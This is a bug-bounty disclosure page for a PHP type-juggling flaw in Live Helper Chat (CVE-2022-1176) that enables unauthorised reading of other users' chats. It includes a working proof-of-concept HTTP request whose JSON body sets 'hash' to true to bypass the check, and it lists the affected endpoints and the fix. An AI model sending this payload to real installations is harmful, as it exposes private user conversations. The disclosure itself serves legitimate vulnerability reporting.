Loose comparison causes IDOR on multiple endpoints in livehelperchat/livehelperchat

0

✓ Valid Reported on Mar 28th 2022

Description

Live Helper Chat is vulnerable to Type Juggling on the `requestPayload['hash']` . The application uses a Loose Comparison to check if the user-controlled parameter is equal to an hash, this check is vulnerable because it's possible to pass other Data Types via JSON that causes the `if` condition to be `True` . This occurs on multiple endpoints.

Proof of Concept

For the PoC, the vulnerability resides on https://github.com/LiveHelperChat/livehelperchat/blob/master/lhc_web/modules/lhwidgetrestapi/fetchmessage.php#L19

```
    if ($chat instanceof erLhcoreClassModelChat && $chat->hash == $requestP
```

Request

```
POST /eng/widgetrestapi/fetchmessages HTTP/1.1
Host: demo.livehelperchat.com
Cookie: lhc_vid=eb9bc0c044919538c5b1
Content-Length: 62
Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="99"
Accept: application/json, text/plain, */*
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Apple
Sec-Ch-Ua-Platform: "macOS"
Origin: https://demo.livehelperchat.com
```

```
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.livehelperchat.com/
Accept-Encoding: gzip, deflate
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"chat_id":2,"hash":true,"lmgsid":1,"theme":1,"new_chat":true}
```

Note the `"hash":true` , this will make the `if` always return `True` .
The loose comparison can be solved by using a type safe check `===` or updating PHP to `8 <=` .
I've attached more occurrences of the same vulnerability:
modules/lhwidgetrestapi/fetchmessage.php modules/lhwidgetrestapi/fetchmessages.php modules/lhwidgetrestapi/getmessagesnippet.php modules/lhwidgetrestapi/initchat.php modules/lhwidgetrestapi/uisettings.php

Impact

It's possible to bypass multiple checks. An attacker could access private information of other users.

Occurrences

initchat.php L32

uisettings.php L19

getmessagesnippet.php L19

fetchmessage.php L19

fetchmessages.php L37

References

- https://www.php.net/manual/en/language.types.type-juggling.php

CVE
CVE-2022-1176
(Published)

Chat with us

Vulnerability Type

CWE-843: Type Confusion

Severity
High (7.5)

Visibility
Public

Status
Fixed

Found by

Caio Lüders
@caioluders
legend

This report was seen 758 times.

We are processing your report and will contact the **livehelperchat** team within 24 hours.
8 months ago

We have contacted a member of the **livehelperchat** team and are waiting to hear back
8 months ago

Remigijus Kiminas validated this vulnerability 8 months ago

Caio Lüders has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Remigijus Kiminas marked this as fixed in **3.96** with commit **72c0df** 8 months ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

fetchmessage.php#L19 has been validated ✓

getmessagesnippet.php#L19 has been validated ✓

uisettings.php#L19 has been validated ✓

Chat with us

initchat.php#L72 has been validated ✓

initchat.php#L32 has been validated ✓

fetchmessages.php#L37 has been validated ✓

Sign in to join this conversation

huntr

home

hacktivity

leaderboard

FAQ

contact us

terms

privacy policy

part of 418sec

company

about

team

Chat with us